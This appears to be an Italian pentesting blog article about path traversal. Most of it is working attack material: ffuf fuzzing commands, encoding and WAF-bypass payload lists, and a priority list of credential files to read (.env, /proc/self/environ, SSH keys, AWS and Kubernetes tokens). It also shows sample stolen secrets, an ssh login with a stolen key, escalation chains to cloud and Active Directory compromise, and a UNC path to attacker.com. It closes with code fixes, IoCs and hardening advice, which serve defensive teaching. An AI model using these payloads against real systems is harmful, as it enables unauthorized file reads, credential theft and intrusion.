web-hacking

Path Traversal: Cos’è, Payload, WAF Bypass e File Read nel Pentesting

Path Traversal: Cos’è, Payload, WAF Bypass e File Read nel Pentesting

Path Traversal nel pentesting web: payload, WAF bypass, lettura di /etc/passwd, .env e credenziali cloud. Guida pratica con fuzzing e exploitation.

  • Pubblicato il 2026-03-18
  • Tempo di lettura: 8 min

Il web server è configurato per servire file solo dalla document root/var/www/html/ su Linux, C:\inetpub\wwwroot\ su Windows. Il Path Traversal rompe questa regola: usando la sequenza ../ (che in ogni sistema operativo significa “directory superiore”), l’attaccante risale l’albero delle directory fino al filesystem root e legge qualsiasi file accessibile dall’utente del web server.

È una vulnerabilità che sembra banale — “aggiungi dei puntini a un URL” — ma l’impatto è tutt’altro che banale. Un singolo ../../../proc/self/environ può contenere AWS_SECRET_ACCESS_KEY in chiaro. Un ../../../home/deploy/.ssh/id_rsa è accesso SSH diretto a ogni server. Un ../../../app/.env è il dump di tutte le credenziali dell’applicazione. Non stai “leggendo un file” — stai aprendo la cassaforte.

La trovo nel 20% dei pentest web — la vulnerabilità file-based più comune in assoluto. E nel 2026 la superficie è cresciuta: le API REST con endpoint di download documenti, i microservizi con file serving, i CDN con path rewriting. Ogni punto in cui un parametro referenzia un file è un potenziale vettore.

Satellite operativo della guida pillar File & Path Attacks.

Cos’è il Path Traversal? #

Il Path Traversal (o Directory Traversal) è una vulnerabilità in cui l’applicazione usa input dell’utente per costruire un percorso file senza validare che il percorso risultante resti all’interno della directory prevista. L’attaccante usa sequenze ../ (o varianti encoded) per navigare al di fuori della directory consentita e accedere a file arbitrari sul filesystem del server.

Il Path Traversal è pericoloso? Sì — permette di leggere qualsiasi file accessibile dall’utente del web server: credenziali database, chiavi SSH private, token cloud AWS/Azure/GCP, configurazioni con secret key, codice sorgente, dati personali. È il primo passo verso la compromissione completa del server e dell’infrastruttura cloud. Trovato nel 20% dei pentest web.

Dove Cercare — Identificare i Parametri Vulnerabili #

Il Path Traversal si nasconde in qualsiasi parametro che referenzia un file. Nei pentest, cerco questi pattern:

text
# Parametri comuni — GET
?file=report.pdf
?page=about
?doc=invoice_2026.pdf
?template=default
?lang=en
?path=documents/annual_report.pdf
?img=logo.png
?download=file.zip
?include=header
?view=dashboard
?module=users
?load=sidebar

# Parametri comuni — POST / JSON
{"file": "report.pdf"}
{"template": "invoice_template"}
{"path": "exports/data.csv"}

# Header
X-File-Path: reports/q4.pdf
Content-Disposition: filename="report.pdf"

In Burp Suite, filtro il Site Map per questi parametri e li testo tutti. La regola è: se un parametro contiene un nome file o un path, testalo.


Fuzzing — Trovare il Path Traversal con ffuf #

Il fuzzing automatico è il modo più rapido per trovare Path Traversal su larga scala. Lo faccio su ogni engagement come primo step dopo la discovery.

Fuzz il valore del parametro #

bash
# Wordlist Jhaddix — la più completa per LFI/traversal
ffuf -u "https://target.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -mr "root:x:" \
  -o results.json

# La wordlist contiene centinaia di varianti:
# ../../../etc/passwd
# ....//....//....//etc/passwd
# ..%2f..%2f..%2fetc/passwd
# ..%252f..%252f..%252fetc/passwd
# etc.
# -mr "root:x:" filtra solo le response con contenuto di /etc/passwd

Fuzz per trovare QUALE parametro è vulnerabile #

bash
# Se non sai quale parametro è il vettore
ffuf -u "https://target.com/page?FUZZ=../../../etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 \
  -mr "root:x:" \
  -t 50

# Testa: file, page, path, doc, template, lang, include, load, view...
# Se uno risponde con "root:x:" → hai trovato il parametro vulnerabile

Fuzz su endpoint API #

bash
# API REST con JSON body
ffuf -u "https://target.com/api/v2/files/download" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"path": "FUZZ"}' \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -mr "root:x:"

Fuzz per Windows #

bash
ffuf -u "https://target.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Windows.txt \
  -mc 200 \
  -mr "\[fonts\]" \
  -t 50

# -mr "\[fonts\]" → match su contenuto di win.ini

Payload Base — Test Iniziale #

Prima del fuzzing automatico, faccio sempre un test manuale veloce per capire se il parametro è vulnerabile e quale tipo di filtro c’è:

bash
# === ROUND 1: Test diretto ===
?file=../../../etc/passwd                    # Il più semplice
?file=/etc/passwd                            # Path assoluto (niente ../)

# === ROUND 2: Bypass filtro strip di ../ ===
?file=....//....//....//etc/passwd           # Dopo strip di ../ → ../../../
?file=....\/....\/....\/etc/passwd           # Mixed separators
?file=..../....//....//etc/passwd            # Extra dots

# === ROUND 3: URL encoding ===
?file=..%2f..%2f..%2fetc/passwd              # / encoded
?file=%2e%2e%2f%2e%2e%2fetc/passwd           # . e / encoded
?file=%2e%2e/%2e%2e/etc/passwd               # Solo . encoded

# === ROUND 4: Double encoding ===
?file=..%252f..%252f..%252fetc/passwd        # %25 = %, quindi %252f → %2f → /
?file=%252e%252e%252f%252e%252e%252fetc/passwd

# Se uno di questi restituisce il contenuto di /etc/passwd → confermato

Output Reale — Ecco Come Si Presenta #

Request:

text
GET /api/files/download?path=....//....//....//etc/passwd HTTP/1.1
Host: target.com
Cookie: session=abc123

Response (200 OK):

text
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1847

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/postgresql:/bin/bash
deploy:x:1000:1000:Deploy User:/home/deploy:/bin/bash

Cosa ti dice questo output:

  • www-data → il web server gira come www-data (Apache/Nginx)
  • mysql e postgres → ci sono database locali
  • deploy con shell /bin/bash → utente reale, potenziale target per SSH key
  • backup → potrebbe avere accesso privilegiato a file sensibili

WAF Bypass Avanzati — Quando i Payload Base Non Bastano #

Nel 2026, il 60%+ dei siti ha un WAF (Cloudflare, Akamai, AWS WAF, ModSecurity). I payload base vengono bloccati. Queste sono le tecniche che uso per bypassarli:

UTF-8 Overlong Encoding #

Il protocollo UTF-8 permette di rappresentare lo stesso carattere in modi diversi. I WAF decodificano la forma standard ma non sempre le forme “overlong” non standard:

bash
# / (slash) in UTF-8 overlong
..%c0%af..%c0%afetc/passwd              # 2-byte overlong di /
..%e0%80%af..%e0%80%afetc/passwd        # 3-byte overlong di /
..%c1%9c..%c1%9cetc/passwd              # Overlong alternativo di /

# . (dot) in UTF-8 overlong
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd    # Overlong di ..

Tomcat / Java Semicolon Trick #

Apache Tomcat e molti application server Java trattano il ; come separatore di path parameter — tutto ciò che segue ; fino al prossimo / viene ignorato dal server ma non dal WAF:

bash
..;/..;/..;/etc/passwd                   # Tomcat ignora ";/" → diventa ../../../
..;x/..;x/..;x/etc/passwd               # Con valore dopo ;
..;/..;/..;/etc/passwd%00               # Combinato con null byte

Double Encoding Avanzato #

bash
# Double encode della slash
..%252f..%252f..%252fetc%252fpasswd      # %252f → %2f → /

# Double encode del backslash (Windows)
..%255c..%255c..%255cwindows%255cwin.ini # %255c → %5c → \

# Triple encode (stack con proxy multipli)
..%25252f..%25252f..%25252fetc%25252fpasswd

Unicode Fullwidth Characters #

I caratteri Unicode “fullwidth” sono versioni a larghezza piena dei caratteri ASCII. Alcuni server li normalizzano ai caratteri ASCII corrispondenti:

bash
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd    # Fullwidth / (U+FF0F)
%e2%80%a5%e2%80%a5/etc/passwd               # Two-dot leader (U+2025)
%e2%81%84                                    # Fraction slash (U+2044)

Windows-Specific Bypass #

bash
# Backslash
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini

# Double encode backslash
..%255c..%255cwindows\win.ini

# Mixed separators (il WAF cerca ../ ma il server accetta ..\)
..\/..\/..\/etc/passwd

# UNC path (se il server è Windows)
\\attacker.com\share\evil.txt

# 8.3 short filename (Windows legacy)
..\..\..\..\PROGRA~1\

Bypass per Filtri Specifici #

bash
# Se il filtro rimuove ../ una volta (non ricorsivo)
....//                          # Dopo strip → ../
....\/                          # Mixed
..../                           # Extra dot

# Se il filtro blocca /etc/passwd specificamente
../../../etc/./passwd            # Con ./ (current dir)
../../../etc/passwd/.            # Trailing /.
../../../etc//passwd             # Double slash
../../../etc/passwd%00           # Null byte
../../../etc/passwd%0a           # Newline

# Se il filtro richiede che il path inizi con una directory consentita
documents/../../../etc/passwd
images/../../../etc/passwd
uploads/../../../etc/passwd

# Se il filtro controlla l'estensione del file
../../../etc/passwd%00.pdf       # Null byte truncation (PHP < 5.3.4)
../../../etc/passwd%0a.pdf       # Newline prima dell'estensione
../../../etc/passwd/.pdf         # Path confusion

Mini Workflow Reale — Come Faccio il Test in un Pentest #

Questo è il flusso esatto che seguo ogni volta che trovo un parametro file:

Step 1 → Identifica il parametro #

bash
# Burp Suite: filtra Site Map per parametri con nomi file
# O: ffuf per trovare il parametro
ffuf -u "https://target.com/page?FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs BASELINE_SIZE

Step 2 → Test diretto #

bash
?file=../../../etc/passwd
# Funziona? → Vai a Step 5
# Errore o pagina vuota? → Step 3

Step 3 → Encoding base #

bash
?file=..%2f..%2f..%2fetc/passwd              # URL encode /
?file=....//....//....//etc/passwd           # Bypass strip
# Funziona? → Vai a Step 5
# Bloccato? → Step 4

Step 4 → WAF bypass avanzato #

bash
?file=..%252f..%252f..%252fetc%252fpasswd    # Double encode
?file=..%c0%af..%c0%afetc/passwd             # UTF-8 overlong
?file=..;/..;/..;/etc/passwd                 # Semicolon (Tomcat)
?file=%2e%2e%2f%2e%2e%2fetc/passwd           # Encode punti
?file=..%ef%bc%8f..%ef%bc%8fetc/passwd       # Unicode fullwidth
?file=..%c1%9c..%c1%9cetc/passwd             # Overlong alternativo
# Funziona? → Step 5
# Tutto bloccato? → Prova POST/JSON body (WAF spesso non controlla il body)

Step 5 → Leggi i file di valore (in ordine di priorità) #

bash
# 1. Conferma: /etc/passwd
# 2. Credenziali app
../../../app/.env
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/config/database.yml
../../../app/settings.py

# 3. Credenziali cloud
../../../proc/self/environ                    # AWS/Azure/GCP creds in env vars
../../../home/deploy/.aws/credentials         # AWS access key

# 4. Accesso SSH
../../../home/deploy/.ssh/id_rsa              # Chiave SSH privata
../../../root/.ssh/id_rsa

# 5. Kubernetes
../../../var/run/secrets/kubernetes.io/serviceaccount/token

# 6. History (password in chiaro nei comandi passati!)
../../../home/deploy/.bash_history
../../../root/.bash_history
../../../home/deploy/.mysql_history

Step 6 → Escalation #

bash
# Se hai trovato credenziali DB → connettiti al DB → dump dati
# Se hai trovato AWS creds → aws sts get-caller-identity → S3/EC2/Lambda
# Se hai trovato SSH key → ssh -i id_rsa deploy@target.com → shell
# Se hai trovato K8s token → kubectl --token=TOKEN get pods → cluster

File Target — Output Reali #

/proc/self/environ (Cloud Credentials) #

bash
# Request:
?file=../../../proc/self/environ

# Response:
HOSTNAME=web-prod-7b4d8f
HOME=/home/app
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS_DEFAULT_REGION=eu-west-1
DATABASE_URL=postgresql://admin:Pr0d_P@ss!@db.internal:5432/appdb
SECRET_KEY=django-insecure-k8s-production-key-change-me-but-nobody-did
REDIS_URL=redis://redis.internal:6379/0

Questo singolo file ti dà: credenziali AWS (accesso cloud completo), credenziali database, secret key dell’applicazione, hostname interni (mappa della rete).

.env (Application Credentials) #

bash
# Request:
?file=../../../var/www/html/.env

# Response:
APP_NAME=MyApp
APP_ENV=production
APP_KEY=base64:x8K2jP+N3rFqm6Y2j...
APP_DEBUG=false
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=myapp_prod
DB_USERNAME=myapp_admin
DB_PASSWORD=Sup3r$ecr3t!2024
STRIPE_KEY=sk_live_51H7...
STRIPE_SECRET=whsec_...
MAIL_PASSWORD=smtp_p@ssw0rd

.ssh/id_rsa (SSH Key) #

bash
# Request:
?file=../../../home/deploy/.ssh/id_rsa

# Response:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBDK2VHqHcLsphEj3+qN3SB2+I0VE3Gz2yPjjcLnQmDMQAAAJi8cJpkvH
...
-----END OPENSSH PRIVATE KEY-----
bash
# Salva e usa:
echo "-----BEGIN OPENSSH..." > stolen_key
chmod 600 stolen_key
ssh -i stolen_key deploy@target.com
# → Shell interattiva sul server!

🏢 Enterprise Escalation — Percorsi Reali #

Path Traversal → Cloud Compromise (5-15 minuti) #

text
Path Traversal → /proc/self/environ → AWS_ACCESS_KEY_ID + SECRET
→ aws sts get-caller-identity   → conferma accesso
→ aws s3 ls                     → enumera 47 bucket
→ aws s3 cp s3://backup/ ./     → dump backup database
→ aws secretsmanager list-secrets → credenziali RDS, Redis, API
→ aws ec2 describe-instances    → mappa infrastruttura completa

Path Traversal → SSH → AD (15-60 minuti) #

text
Path Traversal → /home/deploy/.ssh/id_rsa → SSH access
→ ifconfig → rete 10.10.0.0/16
→ nmap 10.10.0.0/16 -p 389,88 → Domain Controller trovato
→ credenziali LDAP in /app/config → ldapsearch → enumera AD
→ password in campo description → Domain Admin

Path Traversal → Source Code → Supply Chain #

text
Path Traversal → /app/settings.py → SECRET_KEY Django
→ forgia session cookie admin → admin panel
→ /app/.git/config → GitLab token → pipeline access
→ Pipeline injection → codice malevolo in produzione

🔌 Variante API / Microservizi 2026 #

json
// GET parameter
GET /api/v2/documents/download?path=../../../proc/self/environ

// JSON body (spesso non controllato dal WAF!)
POST /api/v2/files/read
{"filepath": "../../../etc/passwd"}

// GraphQL
query { getFile(path: "../../../etc/passwd") { content } }

// Header-based
GET /api/v2/export
X-File-Path: ../../../app/.env

// Path parameter
GET /api/v2/files/../../../etc/passwd

I WAF controllano i parametri GET ma spesso ignorano il JSON body — testa sempre entrambi.


Caso Studio Concreto #

Settore: Fintech SaaS, 200.000 transazioni, infrastruttura AWS EKS. Scope: Black-box.

Endpoint API /api/v2/docs/download?file=terms_of_service.pdf. Test ../../../etc/passwd → bloccato dal WAF Cloudflare. Double encoding ..%252f..%252f..%252fetc%252fpasswd → bloccato. Provo il JSON body:

bash
POST /api/v2/docs/download
Content-Type: application/json
{"file": "../../../etc/passwd"}

200 OK → root:x:0:0:root... → il WAF non controllava il body JSON.

Da lì, escalation rapida:

  • {"file": "../../../proc/self/environ"}AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DATABASE_URL
  • Con AWS creds → aws s3 ls → 47 bucket con dati finanziari
  • Con DATABASE_URL → psql → 200.000 transazioni con IBAN, importi, beneficiari
  • {"file": "../../../var/run/secrets/kubernetes.io/serviceaccount/token"} → token K8s → kubectl get secrets → ogni secret del cluster

Tempo dal primo test al cloud access completo: 12 minuti. Root cause: os.path.join() senza os.path.realpath() check, WAF configurato solo per GET params.


Errori Comuni Reali #

1. Path concatenation senza canonicalization (il pattern #1)

python
# ❌ VULNERABILE
filepath = os.path.join(BASE_DIR, user_input)
return send_file(filepath)

# ✅ SICURO
filepath = os.path.join(BASE_DIR, user_input)
filepath = os.path.realpath(filepath)
if not filepath.startswith(os.path.realpath(BASE_DIR)):
    abort(403)
return send_file(filepath)

2. Filtro non ricorsivo su ../ — rimuove ../ una volta ma non controlla il risultato → ....// diventa ../.

3. WAF solo su GET, non su POST/JSON — la maggior parte dei WAF ha regole deboli per il body JSON.

4. Validazione solo dell’estensione — verifica che il file finisca in .pdf ma non controlla il path.

5. Path traversal in header customX-File-Path, X-Template non validati.


Indicatori di Compromissione (IoC) #

  • ../, ..%2f, %252e%252e, %c0%af, ..;/ nei parametri URL nei log web
  • Request con risposta anomala (dimensione response diversa dal solito per quell’endpoint)
  • Accesso a path di sistema (/etc/, /proc/, /.env, /.ssh/) nei log
  • Sequenze di request dallo stesso IP che testano encoding diversi sullo stesso parametro
  • Response con contenuto di tipo text/plain da endpoint che normalmente servono PDF/immagini

✅ Checklist Finale — Path Traversal Testing #

text
PARAMETRI
☐ Identificati tutti i parametri che referenziano file (GET, POST, JSON, header)
☐ Testati sia GET che POST/JSON (WAF bypass)

TEST BASE
☐ ../../../etc/passwd (Linux)
☐ ..\..\..\windows\win.ini (Windows)
☐ /etc/passwd (path assoluto)
☐ ....//....//....// (bypass strip non ricorsivo)

ENCODING
☐ ..%2f (URL encode /)
☐ %2e%2e%2f (URL encode . e /)
☐ ..%252f (double URL encode)
☐ ..%c0%af (UTF-8 overlong /)
☐ ..%c1%9c (UTF-8 overlong alternativo)
☐ ..%e0%80%af (UTF-8 overlong 3-byte)
☐ ..%ef%bc%8f (Unicode fullwidth /)
☐ ..%255c (double encode backslash, Windows)

TECNICHE AVANZATE
☐ ..;/..;/ (Tomcat semicolon trick)
☐ Null byte %00 (PHP < 5.3.4)
☐ JSON body (WAF bypass)
☐ Path prefix: images/../../../etc/passwd

FILE LETTI (in ordine di priorità)
☐ /etc/passwd → conferma vulnerabilità
☐ /proc/self/environ → credenziali cloud
☐ /app/.env o /var/www/html/.env → credenziali app
☐ Config files (config.php, database.yml, settings.py)
☐ /home/USER/.ssh/id_rsa → SSH access
☐ /home/USER/.aws/credentials → AWS access
☐ /var/run/secrets/k8s/serviceaccount/token → K8s access
☐ /home/USER/.bash_history → password nei comandi
☐ /etc/shadow → hash (se root)

ESCALATION
☐ Credenziali cloud → aws/az/gcloud CLI → infrastruttura
☐ SSH key → accesso diretto → lateral movement
☐ DB credentials → dump database → data breach
☐ K8s token → kubectl → cluster secrets

Detection & Hardening #

  • Canonicalize e valida: realpath() + verifica che il path inizi con la directory consentita
  • Whitelist: se possibile, non accettare path liberi — usa ID numerici mappati a file (?doc=12345 → lookup nel database)
  • chroot/sandbox: limita il filesystem accessibile dal processo web
  • WAF su tutti i canali: GET, POST, JSON body, header custom
  • Principio minimo privilegio: il processo web non deve poter leggere .ssh/, .aws/, /etc/shadow
  • Monitoring: alert su request con ../, %2e%2e, %c0%af nei parametri

Satellite della Guida Completa File & Path Attacks. Vedi anche: LFI, Arbitrary File Read, Backup Exposure.

I tuoi endpoint servono file basandosi su parametri utente? Penetration test applicativo HackIta. Per padroneggiare il Path Traversal dall’encoding al cloud compromise: formazione 1:1.

#path-traversal #lfi

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.